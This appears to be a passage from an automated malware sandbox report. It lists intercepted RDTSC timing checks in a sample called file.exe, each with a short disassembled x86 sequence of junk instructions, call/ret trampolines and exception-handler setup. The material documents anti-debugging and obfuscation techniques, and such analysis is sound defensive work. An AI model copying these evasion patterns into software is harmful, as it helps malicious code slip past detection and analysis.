Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 793514 second address: 793518 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7926CA second address: 79277C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edi 0x0000000a call 00007F9E78CDB7A8h 0x0000000f pop edi 0x00000010 mov dword ptr [esp+04h], edi 0x00000014 add dword ptr [esp+04h], 00000016h 0x0000001c inc edi 0x0000001d push edi 0x0000001e ret 0x0000001f pop edi 0x00000020 ret 0x00000021 mov ebx, dword ptr [ebp+122D3A7Fh] 0x00000027 push dword ptr fs:[00000000h] 0x0000002e jmp 00007F9E78CDB7B4h 0x00000033 mov dword ptr fs:[00000000h], esp 0x0000003a mov edi, 72CBFF78h 0x0000003f push esi 0x00000040 call 00007F9E78CDB7B7h 0x00000045 mov di, 3F00h 0x00000049 pop edi 0x0000004a pop edi 0x0000004b mov eax, dword ptr [ebp+122D0D91h] 0x00000051 push 00000000h 0x00000053 push edx 0x00000054 call 00007F9E78CDB7A8h 0x00000059 pop edx 0x0000005a mov dword ptr [esp+04h], edx 0x0000005e add dword ptr [esp+04h], 00000016h 0x00000066 inc edx 0x00000067 push edx 0x00000068 ret 0x00000069 pop edx 0x0000006a ret 0x0000006b push FFFFFFFFh 0x0000006d add di, FD5Ch 0x00000072 push eax 0x00000073 pushad 0x00000074 jmp 00007F9E78CDB7B1h 0x00000079 push eax 0x0000007a push edx 0x0000007b push ecx 0x0000007c pop ecx 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79366B second address: 793671 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 793671 second address: 793675 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 795C81 second address: 795C87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 797A45 second address: 797A4A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 798CDA second address: 798CEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 jl 00007F9E7960D380h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 797D0B second address: 797DDC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push dword ptr fs:[00000000h] 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007F9E78CDB7A8h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d add dword ptr [ebp+122D1D4Ah], ebx 0x00000033 or bh, 00000069h 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d push 00000000h 0x0000003f push esi 0x00000040 call 00007F9E78CDB7A8h 0x00000045 pop esi 0x00000046 mov dword ptr [esp+04h], esi 0x0000004a add dword ptr [esp+04h], 00000014h 0x00000052 inc esi 0x00000053 push esi 0x00000054 ret 0x00000055 pop esi 0x00000056 ret 0x00000057 js 00007F9E78CDB7BCh 0x0000005d jmp 00007F9E78CDB7B6h 0x00000062 mov eax, dword ptr [ebp+122D04ADh] 0x00000068 call 00007F9E78CDB7B7h 0x0000006d and edi, dword ptr [ebp+122D2A71h] 0x00000073 pop ebx 0x00000074 push FFFFFFFFh 0x00000076 jns 00007F9E78CDB7B7h 0x0000007c push eax 0x0000007d push eax 0x0000007e push edx 0x0000007f push eax 0x00000080 push edx 0x00000081 push esi 0x00000082 pop esi 0x00000083 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 797DDC second address: 797DF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D380h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 799B23 second address: 799B27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 799B27 second address: 799B31 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9E7960D376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 799B31 second address: 799B37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 799B37 second address: 799B3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 799B3B second address: 799BD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F9E78CDB7B6h 0x0000000f jmp 00007F9E78CDB7B3h 0x00000014 popad 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push ecx 0x00000019 call 00007F9E78CDB7A8h 0x0000001e pop ecx 0x0000001f mov dword ptr [esp+04h], ecx 0x00000023 add dword ptr [esp+04h], 00000014h 0x0000002b inc ecx 0x0000002c push ecx 0x0000002d ret 0x0000002e pop ecx 0x0000002f ret 0x00000030 pushad 0x00000031 cmc 0x00000032 popad 0x00000033 push 00000000h 0x00000035 or edi, dword ptr [ebp+122D2ADEh] 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push eax 0x00000040 call 00007F9E78CDB7A8h 0x00000045 pop eax 0x00000046 mov dword ptr [esp+04h], eax 0x0000004a add dword ptr [esp+04h], 00000017h 0x00000052 inc eax 0x00000053 push eax 0x00000054 ret 0x00000055 pop eax 0x00000056 ret 0x00000057 movsx ebx, cx 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007F9E78CDB7B3h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 799BD3 second address: 799BD9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BC7F second address: 79BC84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 799D39 second address: 799D3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AF1F second address: 79AF26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AF26 second address: 79AF39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push esi 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop esi 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 798E6C second address: 798E86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9E78CDB7B5h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79EE74 second address: 79EE8A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jo 00007F9E7960D376h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jg 00007F9E7960D376h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D095 second address: 79D0BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7AEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9E78CDB7B3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79DFE0 second address: 79DFE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D0BD second address: 79D0C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79DFE4 second address: 79E05E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov ebx, dword ptr [ebp+122D3AE7h] 0x0000000e mov ebx, esi 0x00000010 push dword ptr fs:[00000000h] 0x00000017 mov edi, 4A269064h 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 push 00000000h 0x00000025 push ecx 0x00000026 call 00007F9E7960D378h 0x0000002b pop ecx 0x0000002c mov dword ptr [esp+04h], ecx 0x00000030 add dword ptr [esp+04h], 00000019h 0x00000038 inc ecx 0x00000039 push ecx 0x0000003a ret 0x0000003b pop ecx 0x0000003c ret 0x0000003d adc di, 9BACh 0x00000042 mov eax, dword ptr [ebp+122D0E61h] 0x00000048 and di, 2827h 0x0000004d push FFFFFFFFh 0x0000004f xor bh, FFFFFFF5h 0x00000052 nop 0x00000053 push edi 0x00000054 jmp 00007F9E7960D387h 0x00000059 pop edi 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push ecx 0x0000005f pop ecx 0x00000060 pop eax 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 742683 second address: 7426A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9E78CDB7ACh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79F008 second address: 79F00D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9BFD second address: 7A9C03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9C03 second address: 7A9C18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9E7960D37Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9D5B second address: 7A9D7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007F9E78CDB7B6h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9D7B second address: 7A9D86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9D86 second address: 7A9D8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9D8C second address: 7A9D95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9D95 second address: 7A9D9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F9E78CDB7A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9D9F second address: 7A9DA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AE34F second address: 7AE3A3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnc 00007F9E78CDB7A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F9E78CDB7ACh 0x00000012 jmp 00007F9E78CDB7B4h 0x00000017 jmp 00007F9E78CDB7B4h 0x0000001c jc 00007F9E78CDB7A6h 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 push edx 0x00000026 je 00007F9E78CDB7A6h 0x0000002c push edx 0x0000002d pop edx 0x0000002e pop edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AE3A3 second address: 7AE3AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AE3AA second address: 7AE3C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F9E78CDB7B1h 0x0000000b popad 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AF928 second address: 7AF92C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AF92C second address: 7AF93D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AF93D second address: 7AF943 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AF943 second address: 7AF96C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F9E78CDB7ACh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d jnp 00007F9E78CDB7BBh 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F9E78CDB7ADh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AF96C second address: 7AF985 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9E7960D37Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AFCB6 second address: 7AFCE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F9E78CDB7B7h 0x0000000c pop eax 0x0000000d popad 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F9E78CDB7ABh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AFCE8 second address: 7AFD1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a jmp 00007F9E7960D37Fh 0x0000000f ja 00007F9E7960D37Ch 0x00000015 popad 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F9E7960D37Bh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AFD1F second address: 7AFD25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AFD25 second address: 7AFD29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6A47 second address: 7B6A65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6A65 second address: 7B6A6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6A6B second address: 7B6A73 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6A73 second address: 7B6A91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9E7960D389h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B618D second address: 7B6191 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B65FF second address: 7B6622 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9E7960D376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F9E7960D37Fh 0x0000000f pop edi 0x00000010 push esi 0x00000011 jnp 00007F9E7960D37Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B67A1 second address: 7B67B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7ADh 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC343 second address: 7BC360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007F9E7960D382h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB1AE second address: 7BB1B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78D5F7 second address: 768882 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F9E7960D37Fh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c ja 00007F9E7960D37Ch 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F9E7960D378h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d jmp 00007F9E7960D37Bh 0x00000032 call dword ptr [ebp+12463D6Bh] 0x00000038 push ebx 0x00000039 push eax 0x0000003a push edx 0x0000003b push edi 0x0000003c pop edi 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78DAF6 second address: 78DAFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78DCC6 second address: 78DCCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78DD3B second address: 78DD4A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9E78CDB7A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78DD4A second address: 78DD85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], esi 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F9E7960D378h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 00000017h 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 sub dword ptr [ebp+122D272Eh], esi 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d pushad 0x0000002e popad 0x0000002f jnc 00007F9E7960D376h 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78DEA2 second address: 78DEA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78E6C0 second address: 78E6C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78E6C4 second address: 78E6CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78E6CA second address: 78E732 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D388h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop ebx 0x0000000f pushad 0x00000010 jbe 00007F9E7960D376h 0x00000016 push edx 0x00000017 pop edx 0x00000018 popad 0x00000019 popad 0x0000001a nop 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007F9E7960D378h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 00000015h 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 lea eax, dword ptr [ebp+12492389h] 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F9E7960D384h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78E732 second address: 78E7BB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F9E78CDB7A8h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 push eax 0x00000026 mov ecx, dword ptr [ebp+122D3BEBh] 0x0000002c pop edx 0x0000002d movzx ecx, dx 0x00000030 mov edi, dword ptr [ebp+122D3BFFh] 0x00000036 lea eax, dword ptr [ebp+12492345h] 0x0000003c ja 00007F9E78CDB7ACh 0x00000042 nop 0x00000043 jc 00007F9E78CDB7BEh 0x00000049 jmp 00007F9E78CDB7B8h 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F9E78CDB7B5h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78E7BB second address: 769369 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b call dword ptr [ebp+122D22E1h] 0x00000011 pushad 0x00000012 jmp 00007F9E7960D386h 0x00000017 pushad 0x00000018 je 00007F9E7960D376h 0x0000001e push esi 0x0000001f pop esi 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 push ebx 0x00000026 pop ebx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 769369 second address: 769376 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9E78CDB7A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB77F second address: 7BB785 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB785 second address: 7BB789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB92B second address: 7BB950 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9E7960D376h 0x00000008 jmp 00007F9E7960D385h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBACC second address: 7BBAD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBAD2 second address: 7BBADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBADE second address: 7BBAE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F9E78CDB7A6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBC50 second address: 7BBC56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
